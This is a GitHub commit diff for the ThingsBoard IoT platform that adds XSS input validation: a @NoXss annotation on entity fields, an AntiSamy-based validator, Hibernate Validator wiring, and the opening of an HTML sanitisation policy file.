Commit 593f95a7af809c1f5dc4917aa123363a0f0971a8
Committed by
GitHub
1 parent
fd3e18f1
Provide additional validation for entities (#4326)
* Provide additional validation for entities * Refactor * Create test for NoXssValidator * Refactor dependencies
Showing
29 changed files
with
650 additions
and
11 deletions
... | ... | @@ -37,6 +37,14 @@ |
37 | 37 | |
38 | 38 | <dependencies> |
39 | 39 | <dependency> |
40 | + <groupId>javax.validation</groupId> | |
41 | + <artifactId>validation-api</artifactId> | |
42 | + </dependency> | |
43 | + <dependency> | |
44 | + <groupId>org.owasp.antisamy</groupId> | |
45 | + <artifactId>antisamy</artifactId> | |
46 | + </dependency> | |
47 | + <dependency> | |
40 | 48 | <groupId>org.slf4j</groupId> |
41 | 49 | <artifactId>slf4j-api</artifactId> |
42 | 50 | </dependency> | ... | ... |
... | ... | @@ -18,11 +18,13 @@ package org.thingsboard.server.common.data; |
18 | 18 | import org.thingsboard.server.common.data.id.AdminSettingsId; |
19 | 19 | |
20 | 20 | import com.fasterxml.jackson.databind.JsonNode; |
21 | +import org.thingsboard.server.common.data.validation.NoXss; | |
21 | 22 | |
22 | 23 | public class AdminSettings extends BaseData<AdminSettingsId> { |
23 | 24 | |
24 | 25 | private static final long serialVersionUID = -7670322981725511892L; |
25 | - | |
26 | + | |
27 | + @NoXss | |
26 | 28 | private String key; |
27 | 29 | private transient JsonNode jsonValue; |
28 | 30 | ... | ... |
... | ... | @@ -17,19 +17,28 @@ package org.thingsboard.server.common.data; |
17 | 17 | |
18 | 18 | import lombok.EqualsAndHashCode; |
19 | 19 | import org.thingsboard.server.common.data.id.UUIDBased; |
20 | +import org.thingsboard.server.common.data.validation.NoXss; | |
20 | 21 | |
21 | 22 | @EqualsAndHashCode(callSuper = true) |
22 | 23 | public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName { |
23 | 24 | |
24 | 25 | private static final long serialVersionUID = 5047448057830660988L; |
25 | - | |
26 | + | |
27 | + @NoXss | |
26 | 28 | protected String country; |
29 | + @NoXss | |
27 | 30 | protected String state; |
31 | + @NoXss | |
28 | 32 | protected String city; |
33 | + @NoXss | |
29 | 34 | protected String address; |
35 | + @NoXss | |
30 | 36 | protected String address2; |
37 | + @NoXss | |
31 | 38 | protected String zip; |
39 | + @NoXss | |
32 | 40 | protected String phone; |
41 | + @NoXss | |
33 | 42 | protected String email; |
34 | 43 | |
35 | 44 | public ContactBased() { | ... | ... |
... | ... | @@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty; |
20 | 20 | import com.fasterxml.jackson.annotation.JsonProperty.Access; |
21 | 21 | import org.thingsboard.server.common.data.id.CustomerId; |
22 | 22 | import org.thingsboard.server.common.data.id.TenantId; |
23 | - | |
24 | -import com.fasterxml.jackson.databind.JsonNode; | |
23 | +import org.thingsboard.server.common.data.validation.NoXss; | |
25 | 24 | |
26 | 25 | public class Customer extends ContactBased<CustomerId> implements HasTenantId { |
27 | 26 | |
28 | 27 | private static final long serialVersionUID = -1599722990298929275L; |
29 | - | |
28 | + | |
29 | + @NoXss | |
30 | 30 | private String title; |
31 | 31 | private TenantId tenantId; |
32 | 32 | ... | ... |
... | ... | @@ -25,6 +25,7 @@ import org.thingsboard.server.common.data.id.CustomerId; |
25 | 25 | import org.thingsboard.server.common.data.id.DeviceId; |
26 | 26 | import org.thingsboard.server.common.data.id.DeviceProfileId; |
27 | 27 | import org.thingsboard.server.common.data.id.TenantId; |
28 | +import org.thingsboard.server.common.data.validation.NoXss; | |
28 | 29 | |
29 | 30 | import java.io.ByteArrayInputStream; |
30 | 31 | import java.io.IOException; |
... | ... | @@ -37,8 +38,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen |
37 | 38 | |
38 | 39 | private TenantId tenantId; |
39 | 40 | private CustomerId customerId; |
41 | + @NoXss | |
40 | 42 | private String name; |
43 | + @NoXss | |
41 | 44 | private String type; |
45 | + @NoXss | |
42 | 46 | private String label; |
43 | 47 | private DeviceProfileId deviceProfileId; |
44 | 48 | private transient DeviceData deviceData; | ... | ... |
... | ... | @@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData; |
24 | 24 | import org.thingsboard.server.common.data.id.DeviceProfileId; |
25 | 25 | import org.thingsboard.server.common.data.id.RuleChainId; |
26 | 26 | import org.thingsboard.server.common.data.id.TenantId; |
27 | +import org.thingsboard.server.common.data.validation.NoXss; | |
27 | 28 | |
29 | +import javax.validation.Valid; | |
28 | 30 | import java.io.ByteArrayInputStream; |
29 | 31 | import java.io.IOException; |
30 | 32 | |
... | ... | @@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn |
36 | 38 | public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId { |
37 | 39 | |
38 | 40 | private TenantId tenantId; |
41 | + @NoXss | |
39 | 42 | private String name; |
43 | + @NoXss | |
40 | 44 | private String description; |
41 | 45 | private boolean isDefault; |
42 | 46 | private DeviceProfileType type; |
43 | 47 | private DeviceTransportType transportType; |
44 | 48 | private DeviceProfileProvisionType provisionType; |
45 | 49 | private RuleChainId defaultRuleChainId; |
50 | + @NoXss | |
46 | 51 | private String defaultQueueName; |
52 | + @Valid | |
47 | 53 | private transient DeviceProfileData profileData; |
48 | 54 | @JsonIgnore |
49 | 55 | private byte[] profileDataBytes; |
56 | + @NoXss | |
50 | 57 | private String provisionDeviceKey; |
51 | 58 | |
52 | 59 | public DeviceProfile() { | ... | ... |
... | ... | @@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId; |
23 | 23 | import org.thingsboard.server.common.data.id.EntityViewId; |
24 | 24 | import org.thingsboard.server.common.data.id.TenantId; |
25 | 25 | import org.thingsboard.server.common.data.objects.TelemetryEntityView; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | |
26 | 27 | |
27 | 28 | /** |
28 | 29 | * Created by Victor Basanets on 8/27/2017. |
... | ... | @@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId> |
39 | 40 | private EntityId entityId; |
40 | 41 | private TenantId tenantId; |
41 | 42 | private CustomerId customerId; |
43 | + @NoXss | |
42 | 44 | private String name; |
45 | + @NoXss | |
43 | 46 | private String type; |
44 | 47 | private TelemetryEntityView keys; |
45 | 48 | private long startTimeMs; | ... | ... |
... | ... | @@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty; |
20 | 20 | import lombok.EqualsAndHashCode; |
21 | 21 | import org.thingsboard.server.common.data.id.TenantId; |
22 | 22 | import org.thingsboard.server.common.data.id.TenantProfileId; |
23 | +import org.thingsboard.server.common.data.validation.NoXss; | |
23 | 24 | |
24 | 25 | @EqualsAndHashCode(callSuper = true) |
25 | 26 | public class Tenant extends ContactBased<TenantId> implements HasTenantId { |
26 | 27 | |
27 | 28 | private static final long serialVersionUID = 8057243243859922101L; |
28 | - | |
29 | + | |
30 | + @NoXss | |
29 | 31 | private String title; |
32 | + @NoXss | |
30 | 33 | private String region; |
31 | 34 | private TenantProfileId tenantProfileId; |
32 | 35 | ... | ... |
... | ... | @@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j; |
23 | 23 | import org.thingsboard.server.common.data.id.TenantProfileId; |
24 | 24 | import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration; |
25 | 25 | import org.thingsboard.server.common.data.tenant.profile.TenantProfileData; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | |
26 | 27 | |
27 | 28 | import java.io.ByteArrayInputStream; |
28 | 29 | import java.io.IOException; |
... | ... | @@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn |
34 | 35 | @Slf4j |
35 | 36 | public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName { |
36 | 37 | |
38 | + @NoXss | |
37 | 39 | private String name; |
40 | + @NoXss | |
38 | 41 | private String description; |
39 | 42 | private boolean isDefault; |
40 | 43 | private boolean isolatedTbCore; | ... | ... |
... | ... | @@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId; |
24 | 24 | import org.thingsboard.server.common.data.id.UserId; |
25 | 25 | import org.thingsboard.server.common.data.security.Authority; |
26 | 26 | |
27 | -import com.fasterxml.jackson.databind.JsonNode; | |
27 | +import org.thingsboard.server.common.data.validation.NoXss; | |
28 | 28 | |
29 | 29 | @EqualsAndHashCode(callSuper = true) |
30 | 30 | public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId { |
... | ... | @@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H |
35 | 35 | private CustomerId customerId; |
36 | 36 | private String email; |
37 | 37 | private Authority authority; |
38 | + @NoXss | |
38 | 39 | private String firstName; |
40 | + @NoXss | |
39 | 41 | private String lastName; |
40 | 42 | |
41 | 43 | public User() { | ... | ... |
... | ... | @@ -15,12 +15,15 @@ |
15 | 15 | */ |
16 | 16 | package org.thingsboard.server.common.data.asset; |
17 | 17 | |
18 | -import com.fasterxml.jackson.databind.JsonNode; | |
19 | 18 | import lombok.EqualsAndHashCode; |
20 | -import org.thingsboard.server.common.data.*; | |
19 | +import org.thingsboard.server.common.data.HasCustomerId; | |
20 | +import org.thingsboard.server.common.data.HasName; | |
21 | +import org.thingsboard.server.common.data.HasTenantId; | |
22 | +import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo; | |
21 | 23 | import org.thingsboard.server.common.data.id.AssetId; |
22 | 24 | import org.thingsboard.server.common.data.id.CustomerId; |
23 | 25 | import org.thingsboard.server.common.data.id.TenantId; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | |
24 | 27 | |
25 | 28 | @EqualsAndHashCode(callSuper = true) |
26 | 29 | public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId { |
... | ... | @@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements |
29 | 32 | |
30 | 33 | private TenantId tenantId; |
31 | 34 | private CustomerId customerId; |
35 | + @NoXss | |
32 | 36 | private String name; |
37 | + @NoXss | |
33 | 38 | private String type; |
39 | + @NoXss | |
34 | 40 | private String label; |
35 | 41 | |
36 | 42 | public Asset() { | ... | ... |
... | ... | @@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile; |
17 | 17 | |
18 | 18 | import com.fasterxml.jackson.annotation.JsonIgnoreProperties; |
19 | 19 | import lombok.Data; |
20 | -import org.thingsboard.server.common.data.query.KeyFilter; | |
21 | 20 | |
21 | +import javax.validation.Valid; | |
22 | 22 | import java.util.List; |
23 | -import java.util.concurrent.TimeUnit; | |
24 | 23 | |
25 | 24 | @Data |
26 | 25 | @JsonIgnoreProperties(ignoreUnknown = true) |
27 | 26 | public class AlarmCondition { |
28 | 27 | |
28 | + @Valid | |
29 | 29 | private List<AlarmConditionFilter> condition; |
30 | 30 | private AlarmConditionSpec spec; |
31 | 31 | ... | ... |
... | ... | @@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile; |
18 | 18 | import lombok.Data; |
19 | 19 | import org.thingsboard.server.common.data.query.EntityKeyValueType; |
20 | 20 | import org.thingsboard.server.common.data.query.KeyFilterPredicate; |
21 | +import org.thingsboard.server.common.data.validation.NoXss; | |
22 | + | |
23 | +import javax.validation.Valid; | |
21 | 24 | |
22 | 25 | @Data |
23 | 26 | public class AlarmConditionFilter { |
24 | 27 | |
28 | + @Valid | |
25 | 29 | private AlarmConditionFilterKey key; |
26 | 30 | private EntityKeyValueType valueType; |
31 | + @NoXss | |
27 | 32 | private Object value; |
33 | + @Valid | |
28 | 34 | private KeyFilterPredicate predicate; |
29 | 35 | |
30 | 36 | } | ... | ... |
... | ... | @@ -16,11 +16,13 @@ |
16 | 16 | package org.thingsboard.server.common.data.device.profile; |
17 | 17 | |
18 | 18 | import lombok.Data; |
19 | +import org.thingsboard.server.common.data.validation.NoXss; | |
19 | 20 | |
20 | 21 | @Data |
21 | 22 | public class AlarmConditionFilterKey { |
22 | 23 | |
23 | 24 | private final AlarmConditionKeyType type; |
25 | + @NoXss | |
24 | 26 | private final String key; |
25 | 27 | |
26 | 28 | } | ... | ... |
... | ... | @@ -16,13 +16,18 @@ |
16 | 16 | package org.thingsboard.server.common.data.device.profile; |
17 | 17 | |
18 | 18 | import lombok.Data; |
19 | +import org.thingsboard.server.common.data.validation.NoXss; | |
20 | + | |
21 | +import javax.validation.Valid; | |
19 | 22 | |
20 | 23 | @Data |
21 | 24 | public class AlarmRule { |
22 | 25 | |
26 | + @Valid | |
23 | 27 | private AlarmCondition condition; |
24 | 28 | private AlarmSchedule schedule; |
25 | 29 | // Advanced |
30 | + @NoXss | |
26 | 31 | private String alarmDetails; |
27 | 32 | |
28 | 33 | } | ... | ... |
... | ... | @@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile; |
17 | 17 | |
18 | 18 | import lombok.Data; |
19 | 19 | import org.thingsboard.server.common.data.alarm.AlarmSeverity; |
20 | +import org.thingsboard.server.common.data.validation.NoXss; | |
20 | 21 | |
22 | +import javax.validation.Valid; | |
21 | 23 | import java.util.List; |
22 | 24 | import java.util.TreeMap; |
23 | 25 | |
... | ... | @@ -25,9 +27,12 @@ import java.util.TreeMap; |
25 | 27 | public class DeviceProfileAlarm { |
26 | 28 | |
27 | 29 | private String id; |
30 | + @NoXss | |
28 | 31 | private String alarmType; |
29 | 32 | |
33 | + @Valid | |
30 | 34 | private TreeMap<AlarmSeverity, AlarmRule> createRules; |
35 | + @Valid | |
31 | 36 | private AlarmRule clearRule; |
32 | 37 | |
33 | 38 | // Hidden in advanced settings | ... | ... |
... | ... | @@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile; |
17 | 17 | |
18 | 18 | import lombok.Data; |
19 | 19 | |
20 | +import javax.validation.Valid; | |
20 | 21 | import java.util.List; |
21 | 22 | |
22 | 23 | @Data |
... | ... | @@ -25,6 +26,7 @@ public class DeviceProfileData { |
25 | 26 | private DeviceProfileConfiguration configuration; |
26 | 27 | private DeviceProfileTransportConfiguration transportConfiguration; |
27 | 28 | private DeviceProfileProvisionConfiguration provisionConfiguration; |
29 | + @Valid | |
28 | 30 | private List<DeviceProfileAlarm> alarms; |
29 | 31 | |
30 | 32 | } | ... | ... |
... | ... | @@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query; |
18 | 18 | import com.fasterxml.jackson.annotation.JsonIgnore; |
19 | 19 | import lombok.Data; |
20 | 20 | import lombok.RequiredArgsConstructor; |
21 | +import org.thingsboard.server.common.data.validation.NoXss; | |
21 | 22 | |
22 | 23 | @Data |
23 | 24 | @RequiredArgsConstructor |
... | ... | @@ -27,6 +28,7 @@ public class DynamicValue<T> { |
27 | 28 | private T resolvedValue; |
28 | 29 | |
29 | 30 | private final DynamicValueSourceType sourceType; |
31 | + @NoXss | |
30 | 32 | private final String sourceAttribute; |
31 | 33 | private final boolean inherit; |
32 | 34 | ... | ... |
... | ... | @@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore; |
20 | 20 | import com.fasterxml.jackson.annotation.JsonProperty; |
21 | 21 | import lombok.Data; |
22 | 22 | import lombok.Getter; |
23 | +import org.thingsboard.server.common.data.validation.NoXss; | |
24 | + | |
25 | +import javax.validation.Valid; | |
23 | 26 | |
24 | 27 | @Data |
25 | 28 | public class FilterPredicateValue<T> { |
26 | 29 | |
27 | 30 | @Getter |
31 | + @NoXss | |
28 | 32 | private final T defaultValue; |
29 | 33 | @Getter |
34 | + @NoXss | |
30 | 35 | private final T userValue; |
31 | 36 | @Getter |
37 | + @Valid | |
32 | 38 | private final DynamicValue<T> dynamicValue; |
33 | 39 | |
34 | 40 | public FilterPredicateValue(T defaultValue) { | ... | ... |
... | ... | @@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query; |
17 | 17 | |
18 | 18 | import lombok.Data; |
19 | 19 | |
20 | +import javax.validation.Valid; | |
21 | + | |
20 | 22 | @Data |
21 | 23 | public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> { |
22 | 24 | |
23 | 25 | private StringOperation operation; |
26 | + @Valid | |
24 | 27 | private FilterPredicateValue<String> value; |
25 | 28 | private boolean ignoreCase; |
26 | 29 | ... | ... |
... | ... | @@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo; |
26 | 26 | import org.thingsboard.server.common.data.id.RuleChainId; |
27 | 27 | import org.thingsboard.server.common.data.id.RuleNodeId; |
28 | 28 | import org.thingsboard.server.common.data.id.TenantId; |
29 | +import org.thingsboard.server.common.data.validation.NoXss; | |
29 | 30 | |
30 | 31 | @Data |
31 | 32 | @EqualsAndHashCode(callSuper = true) |
... | ... | @@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im |
35 | 36 | private static final long serialVersionUID = -5656679015121935465L; |
36 | 37 | |
37 | 38 | private TenantId tenantId; |
39 | + @NoXss | |
38 | 40 | private String name; |
39 | 41 | private RuleNodeId firstRuleNodeId; |
40 | 42 | private boolean root; | ... | ... |
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.common.data.validation; | |
17 | + | |
18 | +import javax.validation.Constraint; | |
19 | +import javax.validation.Payload; | |
20 | +import java.lang.annotation.ElementType; | |
21 | +import java.lang.annotation.Retention; | |
22 | +import java.lang.annotation.RetentionPolicy; | |
23 | +import java.lang.annotation.Target; | |
24 | + | |
25 | +@Retention(RetentionPolicy.RUNTIME) | |
26 | +@Target(ElementType.FIELD) | |
27 | +@Constraint(validatedBy = {}) | |
28 | +public @interface NoXss { | |
29 | + String message() default "field value is malformed"; | |
30 | + | |
31 | + Class<?>[] groups() default {}; | |
32 | + | |
33 | + Class<? extends Payload>[] payload() default {}; | |
34 | +} | ... | ... |
... | ... | @@ -108,6 +108,14 @@ |
108 | 108 | <artifactId>jackson-databind</artifactId> |
109 | 109 | </dependency> |
110 | 110 | <dependency> |
111 | + <groupId>org.hibernate.validator</groupId> | |
112 | + <artifactId>hibernate-validator</artifactId> | |
113 | + </dependency> | |
114 | + <dependency> | |
115 | + <groupId>org.glassfish</groupId> | |
116 | + <artifactId>javax.el</artifactId> | |
117 | + </dependency> | |
118 | + <dependency> | |
111 | 119 | <groupId>org.springframework</groupId> |
112 | 120 | <artifactId>spring-context</artifactId> |
113 | 121 | </dependency> |
... | ... | @@ -195,6 +203,11 @@ |
195 | 203 | <scope>test</scope> |
196 | 204 | </dependency> |
197 | 205 | <dependency> |
206 | + <groupId>org.junit.jupiter</groupId> | |
207 | + <artifactId>junit-jupiter-params</artifactId> | |
208 | + <scope>test</scope> | |
209 | + </dependency> | |
210 | + <dependency> | |
198 | 211 | <groupId>org.springframework</groupId> |
199 | 212 | <artifactId>spring-context-support</artifactId> |
200 | 213 | </dependency> | ... | ... |
... | ... | @@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service; |
17 | 17 | |
18 | 18 | import com.fasterxml.jackson.databind.JsonNode; |
19 | 19 | import lombok.extern.slf4j.Slf4j; |
20 | +import org.hibernate.validator.HibernateValidator; | |
21 | +import org.hibernate.validator.HibernateValidatorConfiguration; | |
22 | +import org.hibernate.validator.cfg.ConstraintMapping; | |
20 | 23 | import org.thingsboard.server.common.data.BaseData; |
21 | 24 | import org.thingsboard.server.common.data.EntityType; |
22 | 25 | import org.thingsboard.server.common.data.id.TenantId; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | |
23 | 27 | import org.thingsboard.server.dao.TenantEntityDao; |
24 | 28 | import org.thingsboard.server.dao.exception.DataValidationException; |
25 | 29 | |
30 | +import javax.validation.ConstraintViolation; | |
31 | +import javax.validation.Validation; | |
32 | +import javax.validation.Validator; | |
26 | 33 | import java.util.HashSet; |
27 | 34 | import java.util.Iterator; |
35 | +import java.util.List; | |
28 | 36 | import java.util.Set; |
29 | 37 | import java.util.function.Function; |
30 | 38 | import java.util.regex.Matcher; |
31 | 39 | import java.util.regex.Pattern; |
40 | +import java.util.stream.Collectors; | |
32 | 41 | |
33 | 42 | @Slf4j |
34 | 43 | public abstract class DataValidator<D extends BaseData<?>> { |
35 | 44 | private static final Pattern EMAIL_PATTERN = |
36 | 45 | Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE); |
37 | 46 | |
47 | + private static Validator fieldsValidator; | |
48 | + | |
49 | + static { | |
50 | + initializeFieldsValidator(); | |
51 | + } | |
52 | + | |
38 | 53 | public void validate(D data, Function<D, TenantId> tenantIdFunction) { |
39 | 54 | try { |
40 | 55 | if (data == null) { |
41 | 56 | throw new DataValidationException("Data object can't be null!"); |
42 | 57 | } |
58 | + | |
59 | + List<String> validationErrors = validateFields(data); | |
60 | + if (!validationErrors.isEmpty()) { | |
61 | + throw new IllegalArgumentException("Validation error: " + String.join(", ", validationErrors)); | |
62 | + } | |
63 | + | |
43 | 64 | TenantId tenantId = tenantIdFunction.apply(data); |
44 | 65 | validateDataImpl(tenantId, data); |
45 | 66 | if (data.getId() == null) { |
... | ... | @@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> { |
81 | 102 | return emailMatcher.matches(); |
82 | 103 | } |
83 | 104 | |
105 | + private List<String> validateFields(D data) { | |
106 | + Set<ConstraintViolation<D>> constraintsViolations = fieldsValidator.validate(data); | |
107 | + return constraintsViolations.stream() | |
108 | + .map(ConstraintViolation::getMessage) | |
109 | + .distinct() | |
110 | + .collect(Collectors.toList()); | |
111 | + } | |
112 | + | |
84 | 113 | protected void validateNumberOfEntitiesPerTenant(TenantId tenantId, |
85 | 114 | TenantEntityDao tenantEntityDao, |
86 | 115 | long maxEntities, |
... | ... | @@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> { |
111 | 140 | throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!"); |
112 | 141 | } |
113 | 142 | } |
143 | + | |
144 | + private static void initializeFieldsValidator() { | |
145 | + HibernateValidatorConfiguration validatorConfiguration = Validation.byProvider(HibernateValidator.class).configure(); | |
146 | + ConstraintMapping constraintMapping = validatorConfiguration.createConstraintMapping(); | |
147 | + constraintMapping.constraintDefinition(NoXss.class).validatedBy(NoXssValidator.class); | |
148 | + validatorConfiguration.addMapping(constraintMapping); | |
149 | + | |
150 | + fieldsValidator = validatorConfiguration.buildValidatorFactory().getValidator(); | |
151 | + } | |
114 | 152 | } | ... | ... |
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.dao.service; | |
17 | + | |
18 | +import com.google.common.io.Resources; | |
19 | +import lombok.extern.slf4j.Slf4j; | |
20 | +import org.owasp.validator.html.AntiSamy; | |
21 | +import org.owasp.validator.html.Policy; | |
22 | +import org.owasp.validator.html.PolicyException; | |
23 | +import org.owasp.validator.html.ScanException; | |
24 | +import org.thingsboard.server.common.data.validation.NoXss; | |
25 | + | |
26 | +import javax.validation.ConstraintValidator; | |
27 | +import javax.validation.ConstraintValidatorContext; | |
28 | + | |
29 | +@Slf4j | |
30 | +public class NoXssValidator implements ConstraintValidator<NoXss, Object> { | |
31 | + private static final AntiSamy xssChecker = new AntiSamy(); | |
32 | + private static Policy xssPolicy; | |
33 | + | |
34 | + @Override | |
35 | + public void initialize(NoXss constraintAnnotation) { | |
36 | + if (xssPolicy == null) { | |
37 | + try { | |
38 | + xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml")); | |
39 | + } catch (Exception e) { | |
40 | + log.error("Failed to set xss policy: {}", e.getMessage()); | |
41 | + } | |
42 | + } | |
43 | + } | |
44 | + | |
45 | + @Override | |
46 | + public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) { | |
47 | + if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) { | |
48 | + return true; | |
49 | + } | |
50 | + | |
51 | + try { | |
52 | + return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0; | |
53 | + } catch (ScanException | PolicyException e) { | |
54 | + return false; | |
55 | + } | |
56 | + } | |
57 | +} | ... | ... |
dao/src/main/resources/xss-policy.xml
0 → 100644
1 | +<?xml version="1.0" encoding="UTF-8" ?> | |
2 | +<!-- | |
3 | + | |
4 | + Copyright © 2016-2021 The Thingsboard Authors | |
5 | + | |
6 | + Licensed under the Apache License, Version 2.0 (the "License"); | |
7 | + you may not use this file except in compliance with the License. | |
8 | + You may obtain a copy of the License at | |
9 | + | |
10 | + http://www.apache.org/licenses/LICENSE-2.0 | |
11 | + | |
12 | + Unless required by applicable law or agreed to in writing, software | |
13 | + distributed under the License is distributed on an "AS IS" BASIS, | |
14 | + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
15 | + See the License for the specific language governing permissions and | |
16 | + limitations under the License. | |
17 | + | |
18 | +--> | |
19 | +<anti-samy-rules> | |
20 | + | |
21 | + <directives> | |
22 | + <directive name="omitXmlDeclaration" value="true"/> | |
23 | + <directive name="omitDoctypeDeclaration" value="false"/> | |
24 | + <directive name="maxInputSize" value="100000"/> | |
25 | + <directive name="embedStyleSheets" value="false"/> | |
26 | + <directive name="useXHTML" value="true"/> | |
27 | + <directive name="formatOutput" value="true"/> | |
28 | + </directives> | |
29 | + | |
30 | + <common-regexps> | |
31 | + | |
32 | + <!-- | |
33 | + From W3C: | |
34 | + This attribute assigns a class name or set of class names to an | |
35 | + element. Any number of elements may be assigned the same class | |
36 | + name or names. Multiple class names must be separated by white | |
37 | + space characters. | |
38 | + --> | |
39 | + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> | |
40 | + | |
41 | + <!-- force non-empty with a '+' at the end instead of '*' | |
42 | + --> | |
43 | + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> | |
44 | + | |
45 | + <!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) | |
46 | + --> | |
47 | + | |
48 | + <!-- ([\p{L}/ 0-9&\#-.?=])* | |
49 | + --> | |
50 | + <regexp name="offsiteURL" | |
51 | + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> | |
52 | + </common-regexps> | |
53 | + | |
54 | + <common-attributes> | |
55 | + | |
56 | + <attribute name="lang" | |
57 | + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> | |
58 | + | |
59 | + <regexp-list> | |
60 | + <regexp value="[a-zA-Z]{2,20}"/> | |
61 | + </regexp-list> | |
62 | + </attribute> | |
63 | + | |
64 | + <attribute name="title" | |
65 | + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> | |
66 | + | |
67 | + <regexp-list> | |
68 | + <regexp name="htmlTitle"/> | |
69 | + </regexp-list> | |
70 | + </attribute> | |
71 | + | |
72 | + <attribute name="href" onInvalid="filterTag"> | |
73 | + | |
74 | + <regexp-list> | |
75 | + <regexp name="onsiteURL"/> | |
76 | + <regexp name="offsiteURL"/> | |
77 | + </regexp-list> | |
78 | + </attribute> | |
79 | + | |
80 | + <attribute name="align" | |
81 | + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> | |
82 | + | |
83 | + <literal-list> | |
84 | + <literal value="center"/> | |
85 | + <literal value="left"/> | |
86 | + <literal value="right"/> | |
87 | + <literal value="justify"/> | |
88 | + <literal value="char"/> | |
89 | + </literal-list> | |
90 | + </attribute> | |
91 | + <attribute name="style" | |
92 | + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> | |
93 | + </common-attributes> | |
94 | + | |
95 | + <global-tag-attributes> | |
96 | + <attribute name="title"/> | |
97 | + <attribute name="lang"/> | |
98 | + <attribute name="style"/> | |
99 | + </global-tag-attributes> | |
100 | + | |
101 | + <tags-to-encode> | |
102 | + <tag>g</tag> | |
103 | + <tag>grin</tag> | |
104 | + </tags-to-encode> | |
105 | + | |
106 | + <tag-rules> | |
107 | + | |
108 | + <tag name="script" action="remove"/> | |
109 | + <tag name="noscript" action="remove"/> | |
110 | + <tag name="iframe" action="remove"/> | |
111 | + <tag name="frameset" action="remove"/> | |
112 | + <tag name="frame" action="remove"/> | |
113 | + <tag name="noframes" action="remove"/> | |
114 | + <tag name="head" action="remove"/> | |
115 | + <tag name="title" action="remove"/> | |
